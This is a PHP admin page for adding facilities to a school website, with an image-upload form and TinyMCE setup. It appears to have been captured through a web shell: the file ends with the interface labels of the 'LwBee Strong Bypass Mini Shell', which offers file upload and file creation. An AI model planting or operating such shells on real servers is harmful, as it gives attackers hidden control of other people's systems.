/home3/vehiclea/public_html/admin-appleiitfoundationschools-com/facility.php
<?php
 include('include/header.php'); 

?>
<main id="main" class="main">

<div class="pagetitle">
  <h1>Apple IIT Schools</h1>
  <nav>
    <ol class="breadcrumb">
      <li class="breadcrumb-item"><a href="index.php">Home</a></li>
      <li class="breadcrumb-item active">School Facility</li>
    </ol>
  </nav>
</div>
<section class="section">
      <div class="row">
        <div class="col-lg-12">

          <div class="card">
            <div class="card-body">
              <h5 class="card-title">Add School Facility</h5>

<?php

   if(!empty($_POST['submit'])){
   	
    Facility_insert();
}
 
?>



    <form  method="post" enctype="multipart/form-data"> 
      <div class="row">
      
     
        
         <div class="col-md-8 mt-4">
            <label for="exampleInputEmail1" class="form-label">Name</label>
            <input type="text" class="form-control" id="Name" name="Name" required placeholder="Enter Name">
            
        </div>
       <div class="col-md-8 mt-4">
            <label for="exampleInputEmail1" class="form-label">Image</label>
             <img id="image_preview1"  src="assets/img/user.png" style="height:100px;width:100px;" alt="Yor Image Preview"  />
            <input type="file" class="form-control" required id="Image" name="Image" placeholder="Enter Icon">
            
        </div>
        
         <div class="col-md-8 mt-4">
            <label for="exampleInputEmail1" class="form-label">Content</label>
            <textarea class="form-control  textarea-tiny" id="content" name="content"
                            placeholder="Enter  Desccription"></textarea>
            
        </div>

       
        <div class="mt-4">
        <input type="submit" class="btn" value="Add" name="submit" style="background-color: #69F0AE; color: #000000;">
         <a href="facilities_report.php" style="background-color:#7E57C2; color: #ffff;" class="btn">Back</a>
        </div> 
    </div>
    </form>
    

     </div>
          </div>

        </div>
      </div>
    </section>
  
   

</main><!-- End #main --> 

<!-- <script src="https://code.jquery.com/jquery-1.11.1.min.js"></script>
<script src="https://cdn.jsdelivr.net/jquery.validation/1.16.0/jquery.validate.min.js"></script>
<script src="https://cdn.jsdelivr.net/jquery.validation/1.16.0/additional-methods.min.js"></script>
  <script src="https://unpkg.com/sweetalert/dist/sweetalert.min.js"></script> -->

  <script>
      function readURL1(input) {
  if (input.files && input.files[0]) {
    var reader = new FileReader();
    reader.onload = function(e) {
      $('#image_preview1').attr('src', e.target.result);
    }
    reader.readAsDataURL(input.files[0]);
  }
}
$("#Image").change(function() {
  readURL1(this);
});
    </script>

 <script>
       function confirmDelete(feeid)
       {
        
          if (feeid != '') {
            var x = confirm('Are you sure to Delete?');
            if(x){
          $.ajax({
            url : "delete.php",
            data :  {feeid : feeid},
            type : 'POST',
            success : function(response) {
              if(response ==1){
                window.location.href = "fee_type.php";
              }
                
               
            }
        });
        
       }
     }
     }
    </script>
 <?php include('include/footer.php'); ?>

 <script src="https://cloud.tinymce.com/5/tinymce.min.js"></script>
<script>
tinymce.init({
selector: '.textarea-tiny',
height: 500,
menubar: false,
width: '100%',
plugins: [
// 'advlist autolink lists link image charmap print preview anchor textcolor',
// 'searchreplace visualblocks code fullscreen',
// 'insertdatetime media table paste code help wordcount'
'advlist autolink lists link image charmap print preview hr anchor pagebreak',
'searchreplace wordcount visualblocks visualchars code fullscreen',
'insertdatetime media nonbreaking save table contextmenu directionality',
'emoticons template paste textcolor colorpicker textpattern imagetools codesample toc'
],
toolbar: 'undo redo | formatselect | bold italic backcolor | alignleft aligncenter alignright alignjustify | bullist numlist outdent indent | removeformat | help',
image_advtab: true,
content_css: [
'//fonts.googleapis.com/css?family=Lato:300,300i,400,400i',
'//www.tiny.cloud/css/codepen.min.css'
]
});
</script>
<style>
div.mce-branding-powered-by{
display: none;
}
</style>
<style>
div.mce-branding-powered-by{
display: none;
}
</style>
@LwBee Strong Bypass

LwBee Strong Bypass Mini Shell

Upload File

Create New File